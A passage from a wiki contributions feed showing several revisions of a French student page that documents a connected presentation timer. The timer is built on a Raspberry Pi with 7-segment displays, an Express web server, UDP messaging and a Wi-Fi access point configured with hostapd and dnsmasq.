Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisé sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 4 afficheurs 7 segments&lt;br /&gt;
* Une Raspberry pi 3&lt;br /&gt;
* Des transistors PNP &lt;br /&gt;
* Résistances&lt;br /&gt;
* Multiplexeurs&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
&lt;br /&gt;
===Séance 1===&lt;br /&gt;
===Séance 2===&lt;br /&gt;
===Séance 3===&lt;br /&gt;
&lt;br /&gt;
====Serveur web====&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
===Séance 4===&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
===Séance 5===&lt;br /&gt;
&lt;br /&gt;
====Configuration de la raspberry pi====&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49386</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49386"/>
				<updated>2019-01-20T20:22:34Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Description du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste donc à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisée sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 4 afficheurs 7 segments&lt;br /&gt;
* Une Raspberry pi 3&lt;br /&gt;
* Des transistors PNP &lt;br /&gt;
* Résistances&lt;br /&gt;
* Multiplexeurs&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
&lt;br /&gt;
===Séance 1===&lt;br /&gt;
===Séance 2===&lt;br /&gt;
===Séance 3===&lt;br /&gt;
&lt;br /&gt;
====Serveur web====&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
===Séance 4===&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
===Séance 5===&lt;br /&gt;
&lt;br /&gt;
====Configuration de la raspberry pi====&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49385</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49385"/>
				<updated>2019-01-20T20:21:52Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Contexte */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
Prenons le cas d'une soutenance de quatrième année, strictement limitée en temps. On ne voudrait surtout pas rater cette dernière et ne pas avoir l'occasion de passer en revue l'ensemble de ses slides ! Le jury ne souhaite cependant pas faire office d'arbitre ou d'interrompre la personne soutenant. Ainsi, un timer connecté permettant d'indiquer le temps restant aux deux parties est placé sur la table. Ce timer fait également office de point d'accès et permet de se connecter à une page web ou les enseignants peuvent noter des commentaires que l'étudiant peut observer en temps réel.&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
Le projet consiste à réaliser un timer connecté, disposant de 4 afficheurs 7 segments, dont deux feront face à l'étudiant et les deux autres au jury. Nous utilisons une raspberry pi 3, et nous basons ainsi notre timer sur le timer ARM de cette dernière. La raspberry fait également office de point d'accès permettant de délivrer une page web qui permet de configurer le timer.&lt;br /&gt;
Le code controllant les afficheurs 7 segments sera réalisé en C.&lt;br /&gt;
Le serveur web sera basé sur le framework express de node js.&lt;br /&gt;
Le PCB sera réalisée sous Eagle.&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
* 4 afficheurs 7 segments&lt;br /&gt;
* Une Raspberry pi 3&lt;br /&gt;
* Des transistors PNP &lt;br /&gt;
* Résistances&lt;br /&gt;
* Multiplexeurs&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;br /&gt;
&lt;br /&gt;
===Séance 1===&lt;br /&gt;
===Séance 2===&lt;br /&gt;
===Séance 3===&lt;br /&gt;
&lt;br /&gt;
====Serveur web====&lt;br /&gt;
&lt;br /&gt;
Selon la définition Wikipédia, Express est un framework nodejs permettant de mettre en place des applications web. Il s'agit du framework le plus utilisé dans ce but sous l'environnement NodeJS.&lt;br /&gt;
N'ayant jamais utilisé Express, nous avons dû se renseigner sur son fonctionnement et se documenter sur les possibilités du framework. &lt;br /&gt;
Express est basé sur une architecture typique MVC (Model-View-Controller). Nous pouvons définir des middlewares permettant de capturer les requêtes, de réaliser un traitement préalable, puis de renvoyer la page. Pour cela, il suffit de définir des routes, qui définirons les différentes requêtes HTTP possibles.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Route&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Méthode&lt;br /&gt;
! style=&amp;quot;text-align: center; font-weight:bold;&amp;quot; | Description&lt;br /&gt;
|-&lt;br /&gt;
| /&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de réaliser un choix entre l'interface enseignant et étudiant&lt;br /&gt;
|-&lt;br /&gt;
| /prof&lt;br /&gt;
| GET&lt;br /&gt;
| Permet de parametrer le timer, en informant le nom du créateur du timer,&lt;br /&gt;
la durée de celui-ci en minutes, et l'étudiant en question.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| GET&lt;br /&gt;
| Si un timer est configuré, affiche ce dernier, ainsi qu'un formulaire permettant &lt;br /&gt;
d'envoyer un commentaire.&lt;br /&gt;
|-&lt;br /&gt;
| /prof/timer&lt;br /&gt;
| POST&lt;br /&gt;
| Permet de traiter soit un nouveau commentaire, soit de lancer le timer&lt;br /&gt;
|-&lt;br /&gt;
| /etudiant&lt;br /&gt;
| GET&lt;br /&gt;
| Permet d'afficher les commentaires et un timer approximatif, qui vire au rouge lorsque&lt;br /&gt;
le temps devient critique (&amp;lt;2 minutes)&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Les routes étant fixés et définies, nous pouvons passer à la réalisation.&lt;br /&gt;
===Séance 4===&lt;br /&gt;
&lt;br /&gt;
===Serveur web===&lt;br /&gt;
Afin de pouvoir communiquer avec le programme principal manipulant le véritable timer, il est nécessaire d'implémenter une sorte de communication inter-processus. Le choix est porté sur la mise en place d'une liaison sockets UDP, qui sont plus pratique dans notre cas que des sockets basés sur TCP.&lt;br /&gt;
Ainsi, le module 'dgram' (pour datagram, de UDP datagram socket), permet d'écouter pour un 'datagram' sur un port particulier, ou simplement de broadcaster un message. &lt;br /&gt;
Le serveur web permettra ainsi d'envoyer la valeur du timer en secondes, tandis que le programme principal en C écoutera sur un port spécifié, et lancera le timer dès la réception de la valeur.  &lt;br /&gt;
Le code permettant l'envoi d'un message par socket UDP est simple à réaliser :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dgramtimer.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous avons décidés que le timer affiché sur les pages web est simplement à titre indicatif, soit, il ne représente pas réellement le véritable timer, dont la valeur est affiché sur les afficheurs 7 segments. Ce choix à été fait en raison du fait que nodejs et express ne tournent uniquement que sur un thread et ne permettent pas d'écouter sur un port et de rafraichir la page dès une réception.&lt;br /&gt;
Ainsi, dès le choix de la valeur du timer, nous sauvegardons la timestamp de fin de celui-ci et lançons le timer pour un compte à rebours vers cette valeur.&lt;br /&gt;
&lt;br /&gt;
Les commentaires quant à eux sont enregistrés dans un fichier sous format JSON, et dans le cas d'une requête GET, une lecture de ce fichier est réalisée et les commentaires affichés, tandis que dans le cas d'une requête POST, le fichier est réécris en mémoire avec le nouveau commentaire.&lt;br /&gt;
L'identifiant d'un professeur commentant est défini sur le formulaire de choix du timer en ne spécifiant que le champ identifiant. La valeur de ce dernier est enregistré dans un cookie de navigateur.&lt;br /&gt;
Les informations relatives au timer, au nom de l'étudiant et au créateur du timer sont enregistrés dans un autre fichier JSON et récupérés au besoin.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Entreeiot.png|300px]]&lt;br /&gt;
[[Fichier:CHOIXIOT.png|300px]]&lt;br /&gt;
[[Fichier:TimerProf.png|300px]]&lt;br /&gt;
&lt;br /&gt;
===Séance 5===&lt;br /&gt;
&lt;br /&gt;
====Configuration de la raspberry pi====&lt;br /&gt;
&lt;br /&gt;
Nous configurons la raspberry afin d'agir en tant que point d'accès afin de pouvoir accéder à l'interface web : &lt;br /&gt;
&lt;br /&gt;
Nous installons tout d'abord les paquets dnsmasq et hostapd, permettant de configurer le point d'accès et fournir le service DNS :&lt;br /&gt;
    $ sudo apt-get install dnsmasq hostapd&lt;br /&gt;
&lt;br /&gt;
Nous modifions le fichier  de configuration de dhcpcd en ajoutant : &lt;br /&gt;
    interface wlan0&lt;br /&gt;
        static ip_address=192.168.4.1/24&lt;br /&gt;
        nohook wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
Nous relançons ensuite le service dhcpcd.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite le fichier de configuration de dnsmasq, qui va définir la plage d'IPs à attribuer : &lt;br /&gt;
    interface=wlan0&lt;br /&gt;
      dhcp-range=192.168.4.2,192.168.4.20,255.255.255.0,24h&lt;br /&gt;
&lt;br /&gt;
Enfin, nous écrivons la configuration de notre point d'accès dans un fichier de configuration de hostapd : &lt;br /&gt;
&lt;br /&gt;
    interface=wlan0&lt;br /&gt;
    driver=nl80211&lt;br /&gt;
    ssid=TimerIOT&lt;br /&gt;
    hw_mode=g&lt;br /&gt;
    channel=7&lt;br /&gt;
    wmm_enabled=0&lt;br /&gt;
    macaddr_acl=0&lt;br /&gt;
    auth_algs=1&lt;br /&gt;
    ignore_broadcast_ssid=0&lt;br /&gt;
    wpa=2&lt;br /&gt;
    wpa_passphrase=timeriot&lt;br /&gt;
    wpa_key_mgmt=WPA-PSK&lt;br /&gt;
    wpa_pairwise=TKIP&lt;br /&gt;
    rsn_pairwise=CCMP&lt;br /&gt;
&lt;br /&gt;
Enfin, nous lançons les processus hostapd et dnsmasq : &lt;br /&gt;
 $ sudo systemctl start hostapd&lt;br /&gt;
 $ sudo systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
Nous rebootons enfin la raspberry. La page web est ainsi accessible en se connectant au point d'accès et en tapant http://192.168.4.1:3000 dans le navigateur.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49224</id>
		<title>P4 IOT 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_IOT_2018&amp;diff=49224"/>
				<updated>2019-01-07T17:28:02Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : Page créée avec « =Présentation du sujet =  ==Contexte==   ==Description du projet==   =Réalisation=  ==Matériel utilisé==   ==Suivi de réalisation== »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation du sujet =&lt;br /&gt;
&lt;br /&gt;
==Contexte==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Description du projet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Réalisation=&lt;br /&gt;
&lt;br /&gt;
==Matériel utilisé==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Suivi de réalisation==&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Internet_des_objets_2018/2019&amp;diff=49181</id>
		<title>Option Internet des objets 2018/2019</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Internet_des_objets_2018/2019&amp;diff=49181"/>
				<updated>2019-01-07T15:13:13Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes =&lt;br /&gt;
&lt;br /&gt;
Ecrivez vos noms sous le format exact &amp;quot;Prénom Nom&amp;quot;, séparez vos noms par des virgules. Modifiez aussi l'intitulé de votre projet.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Projet !! Elèves&lt;br /&gt;
|-&lt;br /&gt;
| [[P1_IOT_2018|Sujet 1]] || Raphael Morin, Brahim Ahammou&lt;br /&gt;
|-&lt;br /&gt;
| [[P2_IOT_2018|Smart Pen]] || Tony Jongmanee, Walid Ziyate&lt;br /&gt;
|-&lt;br /&gt;
| [[P3_IOT_2018|Sujet 3]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[P4_IOT_2018|Timer connecté]] || Naif Mehanna, Maxime Créteur, Amine El Messaoudi&lt;br /&gt;
|-&lt;br /&gt;
| [[P5_IOT_2018|Sujet 5]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[P6_IOT_2018|Sujet 6]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[P7_IOT_2018|Sujet 7]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Internet_des_objets_2018/2019&amp;diff=49175</id>
		<title>Option Internet des objets 2018/2019</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Option_Internet_des_objets_2018/2019&amp;diff=49175"/>
				<updated>2019-01-07T14:46:24Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes =&lt;br /&gt;
&lt;br /&gt;
Ecrivez vos noms sous le format exact &amp;quot;Prénom Nom&amp;quot;, séparez vos noms par des virgules. Modifiez aussi l'intitulé de votre projet.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Projet !! Elèves&lt;br /&gt;
|-&lt;br /&gt;
| [[P1_IOT_2018|Sujet 1]] || Raphael Morin, Brahim Ahammou&lt;br /&gt;
|-&lt;br /&gt;
| [[P2_IOT_2018|Stylo connecté]] || Tony Jongmanee, Walid Ziyate&lt;br /&gt;
|-&lt;br /&gt;
| [[P3_IOT_2018|Sujet 3]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[P4_IOT_2018|Sujet 4]] || Naif Mehanna, Maxime Créteur&lt;br /&gt;
|-&lt;br /&gt;
| [[P5_IOT_2018|Sujet 5]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[P6_IOT_2018|Sujet 6]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[P7_IOT_2018|Sujet 7]] || Prénom Nom, Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49136</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49136"/>
				<updated>2018-12-21T18:11:16Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 6. Réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
